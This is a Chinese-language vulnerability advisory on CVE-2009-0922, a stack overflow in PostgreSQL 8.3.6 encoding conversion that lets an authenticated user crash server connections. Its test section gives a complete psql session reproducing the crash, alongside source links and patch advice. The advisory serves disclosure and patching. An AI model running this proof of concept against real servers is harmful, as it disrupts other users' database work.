安全研究

安全漏洞
PostgreSQL转换编码远程拒绝服务漏洞

发布日期:2009-03-11
更新日期:2009-03-18

受影响系统:
PostgreSQL PostgreSQL 8.3.6
描述:
BUGTRAQ  ID: 34090
CVE(CAN) ID: CVE-2009-0922

PostgreSQL是一款高级对象-关系型数据库管理系统,支持扩展的SQL标准子集。

PostgreSQL处理转换编码时存在栈溢出漏洞,通过认证的用户可以通过提交特制的SQL查询请求在一段时间期间杀死到PostgreSQL服务器的连接,中断其他用户和客户端的事务处理。

<*来源:Denis Afonin (vadm@itkm.ru
  
  链接:http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=517405
        https://bugzilla.redhat.com/show_bug.cgi?format=multiple&id=488156
        http://archives.postgresql.org/pgsql-bugs/2009-02/msg00172.php
        http://sunsolve.sun.com/search/printfriendly.do?assetkey=1-66-258808-1
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

=cut=
postgres(at)sunset:~$ createdb test -E KOI8
postgres(at)sunset:~$ psql test
Welcome to psql 8.3.6, the PostgreSQL interactive terminal.

Type:  \copyright for distribution terms
       \h for help with SQL commands
       \? for help with psql commands
       \g or terminate with semicolon to execute query
       \q to quit

test=# SHOW server_version;
server_version
----------------
8.3.6
(1 row)

test=# CREATE DEFAULT CONVERSION test1 FOR 'LATIN1' TO 'KOI8' FROM
ascii_to_mic;
CREATE CONVERSION
test=# CREATE DEFAULT CONVERSION test2 FOR 'KOI8' TO 'LATIN1' FROM
mic_to_ascii;
CREATE CONVERSION
test=# set client_encoding to 'LATIN1';
server closed the connection unexpectedly
    This probably means the server terminated abnormally
    before or while processing the request.
Соединение с сервером было потеряно.
Попытка переустановить: Безуспешно.
!> \q
=end cut=

建议:
厂商补丁:

PostgreSQL
----------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.postgresql.org

Sun
---
Sun已经为此发布了一个安全公告(Sun-Alert-258808)以及相应补丁:
Sun-Alert-258808:Security Vulnerability in PostgreSQL Shipped with Solaris may Allow a Denial of Service (DoS)
链接:http://sunsolve.sun.com/search/printfriendly.do?assetkey=1-66-258808-1

浏览次数:2816
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障